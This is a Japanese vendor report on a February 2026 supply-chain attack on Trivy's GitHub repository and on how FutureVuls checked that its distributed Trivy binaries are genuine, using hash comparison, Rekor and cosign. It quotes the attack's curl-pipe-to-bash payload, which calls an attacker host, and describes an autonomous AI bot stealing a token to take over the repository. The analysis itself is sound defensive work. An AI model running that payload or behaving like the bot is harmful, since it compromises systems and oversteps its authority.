Trivy サプライチェーン攻撃：FutureVuls 配布バイナリの安全性検証レポート

※2026/03/23（月）「Trivy サプライチェーン攻撃（第2波・3/19発生）：FutureVuls 影響調査レポート」を追加で公開しています。
※2026/03/25（水）「GitHub Actions・Docker Hub・npm・PyPIに波及：Trivyサプライチェーン攻撃の影響確認ガイド」を追加で公開しています。 

Trivy サプライチェーン攻撃の概要と調査結果

2026年2月21日〜28日にかけて、OSS 脆弱性スキャナ Trivy の GitHub リポジトリが乗っ取られるサプライチェーン攻撃が発生した。

FutureVuls は Trivy をスキャンエンジンの一部として利用しており、ちょうど攻撃期間中の 2/24 にリリース作業を行っていた。そこで、配布中のバイナリが改ざんされていないかを検証し、今回の攻撃による改ざんを受けていないと判断した。

• 2026年2月21日〜28日に Trivy の GitHub リポジトリが乗っ取られ、FutureVuls が配布する Trivy バイナリへの影響が懸念された
• バイナリハッシュ比較・ビルドタイムスタンプ・Sigstore（Rekor / cosign）署名検証の3点から検証した
• FutureVuls で「2026年2月24日リリース」以降から配布した Trivy v0.69.1 は改ざんされておらず、正規ビルドであると確認した

注意：本事件に関する情報は、記事執筆2026年3月2日時点で更新が続いている。攻撃の詳細なタイムラインなど未公開の部分もあるため、本記事の内容に加えて Trivy 公式のインシデント報告 や StepSecurity の分析記事 など一次情報の最新状況もあわせて確認されたい。

Trivy サプライチェーン攻撃の概要

2/21〜2/28 にかけて、hackerbot-claw と名乗る AI 自律型ボット（Claude Opus 4.5 搭載）が GitHub Actions ワークフローの脆弱性を突いた攻撃キャンペーンを展開した。標的は Microsoft、DataDog、CNCF、awesome-go（GitHub Star 140k 超）など計 6 リポジトリで、5 つで任意コード実行に成功している（StepSecurity の分析）。すべての攻撃で共通のペイロード curl -sSfL hackmoltrepeat.com/molt | bash が使われた。

Trivy に対しては、hackerbot-claw が PR #10254 を開き、pull_request_target トリガの「API Diff Check」ワークフローを悪用して PAT を窃取した。2/28 03:28 UTC のワークフロー実行から 19 分後（03:47 UTC）、窃取した PAT で commit d267cc4 を直接プッシュし、以下を実行した。他の 5 件が CI ランナー内でのコード実行にとどまったのに対し、Trivy ではリポジトリ自体の乗っ取りに至っている。

• GitHub リポジトリの非公開化・aquasecurity/private-trivy へのリネーム、空リポジトリへの差し替え
• GitHub Releases v0.27.0〜v0.69.1 の全削除（リリースノート・アセット含む）
• Trivy VSCode 拡張への悪意あるアーティファクトの Open VSIX マーケットプレイスへのプッシュ

Aqua Security は脆弱なワークフローを PR #10259 で削除し、悪意ある VSCode 拡張の除去・トークン無効化・リポジトリの公開復旧を行った。3/1 に 公式インシデント報告が公開され、コンテナイメージやパッケージマネージャ経由のインストールには影響がないと表明されている。Hotfix として v0.69.2 が公開済みである。v0.27.0〜v0.69.1 の Releases は 3/2 時点で未復旧である。

こちらの注意喚起記事では、GitHub Releases 経由のインストール方法（install script・Trivy Action・直接ダウンロード等）がすべて 404 エラーとなった状況が記録されている。

なぜ調査が必要だったか

FutureVuls での Trivy の用途は次のとおり。

• Docker スキャン（Trivy）：ローカル環境に Trivy をインストールし、コンテナイメージをスキャンした結果を FutureVuls にアップロードする。通常版（root 権限・定期自動スキャン対応）と軽量版（root 不要・手動実行）の 2 モードがある
• CI/CD パイプラインへの組み込み：GitHub Actions や AWS CodePipeline 等の CI/CD 内で、installer.vuls.biz のスクリプトを用いてコンテナイメージやアプリケーション依存ライブラリをスキャンし、結果を FutureVuls にアップロードする

いずれも 2/24 のリリース（リリースノートにも Trivy v0.69.1 がスキャナバージョンとして記載）時に、Trivy v0.69.1 を GitHub Releases から直接取得していた。どちらの用途も取得元は同一であるため、以降の検証結果は双方に適用される。なお、Aqua Security の公式見解ではコンテナイメージやパッケージマネージャ経由のユーザーには影響がないとされているが、FutureVuls は GitHub Releases からの直接取得であり、取得日（2/24）が攻撃期間（2/21〜2/28）にかかっているため、独自にバイナリの改ざん有無を検証する必要があった。取得したバイナリは S3 に配置し、installer.vuls.biz 経由でユーザーへ配布している。

調査方法

3 つの観点から検証した。

1. バイナリハッシュの比較
   S3 上のバイナリと、GHCR（GitHub Container Registry）の公式イメージ内バイナリの SHA256 を比較した。GHCR は GitHub Releases とは独立した配布チャネルであり、公式インシデント報告でも影響は報告されていないため、正規バイナリの比較対象とした。

2. ビルドタイムスタンプの確認
   GHCR の trivy:0.69.1 イメージの Created を docker inspect で確認し、攻撃開始前のビルドかどうかを見た。
   

3. Sigstore 署名・透明性ログの検証
   Rekor（透明性ログ）でイメージダイジェストを検索して攻撃前から記録があるかを確認し、cosign で GHCR イメージの署名が Aqua Security の正規ワークフローによるものかを検証した。 
   

調査結果

バイナリハッシュ比較

S3 上の FutureVuls 配布バイナリと、GHCR 公式イメージから抽出したバイナリの SHA256 を比較した。

S3 上の FutureVuls 配布バイナリ

    
# x86_64 (amd64)
$ ./trivy --version
Version: 0.69.1
$ sha256sum trivy
0e5a8eb70c4934a6b3c37f9d18b9fb94182b5da34bee8e57e25c1a9a8dda7251  trivy

# aarch64 (arm64)
$ ./trivy --version
Version: 0.69.1
$ sha256sum trivy
cf8e44a859f0d6f8a119396ddd1237e9de008ebdf3a27cfb8a0483dc12acc69f  trivy

GHCR 公式イメージからの抽出

    $ docker create --name trivy-tmp ghcr.io/aquasecurity/trivy:0.69.1
$ docker cp trivy-tmp:/usr/local/bin/trivy ./trivy_ghcr_amd64
$ docker rm trivy-tmp
$ sha256sum ./trivy_ghcr_amd64
0e5a8eb70c4934a6b3c37f9d18b9fb94182b5da34bee8e57e25c1a9a8dda7251  ./trivy_ghcr_amd64

# arm64
$ docker pull --platform linux/arm64 ghcr.io/aquasecurity/trivy:0.69.1
Digest: sha256:1c78ed1ef824ab8bb05b04359d186e4c1229d0b3e67005faacb54a7d71974f73
$ docker create --name trivy-tmp ghcr.io/aquasecurity/trivy:0.69.1
$ docker cp trivy-tmp:/usr/local/bin/trivy ./trivy_ghcr_arm64
$ docker rm trivy-tmp
$ sha256sum ./trivy_ghcr_arm64
cf8e44a859f0d6f8a119396ddd1237e9de008ebdf3a27cfb8a0483dc12acc69f  ./trivy_ghcr_arm64

比較結果

両アーキテクチャとも SHA256 が完全一致した。S3 上のバイナリは GHCR イメージ内のバイナリと同一である。

ビルドタイムスタンプ

    # amd64
$ docker pull --platform linux/amd64 ghcr.io/aquasecurity/trivy:0.69.1
Digest: sha256:1c78ed1ef824ab8bb05b04359d186e4c1229d0b3e67005faacb54a7d71974f73
Status: Downloaded newer image for ghcr.io/aquasecurity/trivy:0.69.1
$ docker inspect ghcr.io/aquasecurity/trivy:0.69.1 | jq '.[0].Created'
"2026-02-05T13:08:31.888656967Z"

# arm64
$ docker pull --platform linux/arm64 ghcr.io/aquasecurity/trivy:0.69.1
Digest: sha256:1c78ed1ef824ab8bb05b04359d186e4c1229d0b3e67005faacb54a7d71974f73
Status: Downloaded newer image for ghcr.io/aquasecurity/trivy:0.69.1
$ docker inspect ghcr.io/aquasecurity/trivy:0.69.1 | jq '.[0].Created'
"2026-02-05T13:08:33.574654373Z"

どちらも 2/5 ビルドであり、攻撃開始日（2/21）の 16 日前にあたる。

Rekor 透明性ログ

Sigstore Rekor は、ソフトウェアの署名イベントを記録する公開の透明性ログサービスである。以下の性質を持つ。

• 追記専用（append-only）：一度書き込まれたエントリは削除・改ざんできない
• 各エントリに integratedTime（書き込み時刻）が付与される：この時刻は Rekor サーバが付与するため、署名者が偽装できない
• ダイジェスト（SHA256）をキーに検索できる：あるコンテナイメージのダイジェストがいつから記録されていたかを確認できる

つまり「攻撃前からこのダイジェストの署名が存在していた」ことを第三者が検証可能な証拠として使える。

amd64 の検索

    $ curl -s "https://rekor.sigstore.dev/api/v1/index/retrieve" \
  -H "Content-Type: application/json" \
  -d '{"hash": "sha256:5c8786cba2b31948e0b1f944d0be48a497f709c8c3e061dc504f6a0965c5fa44"}' | jq
[
  "108e9186e8c5677a43138f4b01d2de514ea4d5d1028d53552a56ba669b9d48c29884b51b78ac5674",
  "108e9186e8c5677a47bf8bd02f154d8fbce4d06ac905c4c67e971daf362dc503b64cf79ffc93b210",
  "108e9186e8c5677a636225f096434e70c963520beda78ef75f35767443d280e21225c72b1ac6767f",
  ... (28 件)
  "108e9186e8c5677a12315b33419fd3086a9974576a03f38702020c6a61e20fc8e9516d32845e49c6"
]

28 件のエントリがヒットした。最古のエントリの integratedTime は 2026-02-05（攻撃開始の 16 日前）で、以降ほぼ毎日記録がある。攻撃前から同一ダイジェストのイメージが Rekor に記録されており、途中で差し替えられていないことが確認できる。

arm64 の検索

    $ curl -s "https://rekor.sigstore.dev/api/v1/index/retrieve" \
  -H "Content-Type: application/json" \
  -d '{"hash": "sha256:98eb7d6fc594903f89b68f23e9e53fe0a9cacab7623f5ab310f74d518487a1b1"}' | jq
[
  "108e9186e8c5677a4985a4eb9f95f7a56ac45e33c62ea0b0305a93c0f21cee5fb96e0d34c8403d38"
]

arm64 の Platform Manifest 単体では、攻撃後（2026-02-23）のエントリ 1 件のみがヒットした。Rekor 単体では攻撃前の存在証明ができないが、次の cosign 検証で Index Manifest（amd64・arm64 を含むマルチアーチ全体のダイジェスト）に対する署名が確認でき、arm64 もその署名でカバーされている。

cosign 署名検証

cosign は Sigstore プロジェクトのコンテナイメージ署名・検証ツールである。cosign verify は以下を一括で検証する。

• 署名ペイロードの一致：署名に含まれるダイジェストが、検証対象のイメージダイジェストと一致するか
• 透明性ログの確認：その署名が Rekor に記録済みか
• 証明書チェーンの検証：署名に使われた証明書が、Sigstore の信頼された認証局から発行されたものか

さらに --certificate-identity-regexp と --certificate-oidc-issuer オプションにより、「署名が特定の GitHub リポジトリの GitHub Actions ワークフローから発行されたものか」まで絞り込める。

    $ cosign verify \
  --certificate-identity-regexp 'https://github\.com/aquasecurity/trivy/' \
  --certificate-oidc-issuer 'https://token.actions.githubusercontent.com' \
  ghcr.io/aquasecurity/trivy:0.69.1 | jq
Verification for ghcr.io/aquasecurity/trivy:0.69.1 --
The following checks were performed on each of these signatures:
  - The cosign claims were validated
  - Existence of the claims in the transparency log was verified offline
  - The code-signing certificate was verified using trusted certificate authority certificates
[
  {
    "critical": {
      "identity": {
        "docker-reference": "ghcr.io/aquasecurity/trivy:0.69.1"
      },
      "image": {
        "docker-manifest-digest": "sha256:1c78ed1ef824ab8bb05b04359d186e4c1229d0b3e67005faacb54a7d71974f73"
      },
      "type": "https://sigstore.dev/cosign/sign/v1"
    },
    "optional": {}
  },
  {
    "critical": {
      "identity": {
        "docker-reference": "ghcr.io/aquasecurity/trivy:0.69.1"
      },
      "image": {
        "docker-manifest-digest": "sha256:1c78ed1ef824ab8bb05b04359d186e4c1229d0b3e67005faacb54a7d71974f73"
      },
      "type": "https://sigstore.dev/cosign/sign/v1"
    },
    "optional": {}
  }
]

検証に成功し、2 つの署名が確認された。
いずれも docker-manifest-digest が Index Manifest（sha256:1c78ed1ef824ab8bb05b04359d186e4c1229d0b3e67005faacb54a7d71974f73）を指しており、amd64・arm64 を含むマルチアーチ全体をカバーしている。検証成功は、上記オプションで指定した条件（署名証明書の発行元が https://github.com/aquasecurity/trivy/ の GitHub Actions ワークフローであること）を満たしていることを意味する。

検証の全体像

上記の検証結果を整理すると、以下の信頼の連鎖が構成される。cosign で Index Manifest の署名を検証し、その Index Manifest が各アーキテクチャの Platform Manifest を包含し、各 Platform Manifest 内のバイナリが FutureVuls の配布バイナリと一致する、という連鎖により、FutureVuls 配布バイナリの正当性が Aqua Security の署名まで遡って確認できる。

    cosign verify ✅ 成功（署名証明書: aquasecurity/trivy の GitHub Actions）
  └─ Index Manifest: sha256:1c78ed1ef824ab8bb05b04359d186e4c1229d0b3e67005faacb54a7d71974f73 (署名検証済み)
       │
       ├─ amd64 Platform Manifest: sha256:5c8786cba2b31948e0b1f944d0be48a497f709c8c3e061dc504f6a0965c5fa44
       │    ├─ Rekor: 2026-02-05〜 連続記録（攻撃前から存在）✅
       │    ├─ Image Created: 2026-02-05（攻撃の 16 日前）✅
       │    └─ Binary SHA256: 0e5a8eb70c4934a6b3c37f9d18b9fb94182b5da34bee8e57e25c1a9a8dda7251 = installer.vuls.biz ✅
       │
       └─ arm64 Platform Manifest: sha256:98eb7d6fc594903f89b68f23e9e53fe0a9cacab7623f5ab310f74d518487a1b1
            ├─ Rekor: 2026-02-23 のみ（Index Manifest の署名でカバー）✅
            ├─ Image Created: 2026-02-05（攻撃の 16 日前）✅
            └─ Binary SHA256: cf8e44a859f0d6f8a119396ddd1237e9de008ebdf3a27cfb8a0483dc12acc69f = installer.vuls.biz ✅

結論、FutureVuls が配布する Trivy に影響なし

FutureVuls が配布中の Trivy v0.69.1（amd64 / arm64）は、以下の検証結果から、今回の攻撃による改ざんを受けていないと判断した。

1. S3 上のバイナリと GHCR 公式イメージ内バイナリの SHA256 が完全一致
2. GHCR イメージのビルド日時は 2/5 で、攻撃開始の 16 日前
3. Rekor 透明性ログと cosign 署名検証で GHCR イメージの正当性を暗号学的に確認
4. Aqua Security の公式インシデント報告および StepSecurity の攻撃分析で、GHCR イメージの改ざんは報告されていない

対応状況

• 本記事で調査プロセスと結果を公開
• Trivy v0.69.2 への更新：v0.69.1 は GitHub Releases 上のアセットが削除済みのため、Aqua Security が公開した v0.69.2（sigstore 署名付き・49 アセット）で動作確認のうえ FutureVuls の Hotfix リリースを行う
  • GitHub Releases ページで v0.69.2 が Latest として公開されていることを確認済み
  • Hotfix を含む FutureVuls のリリース状況はリリースノート一覧で公開する

参考リンク

• Trivy 公式インシデント報告（Trivy security incident 2026-03-01 #10265）
• StepSecurity による攻撃分析
• 攻撃期間中のバイナリに関する注意喚起
• Trivy GitHub Releases
• FutureVuls リリースノート一覧
• FutureVuls リリースノート（2026/02/24）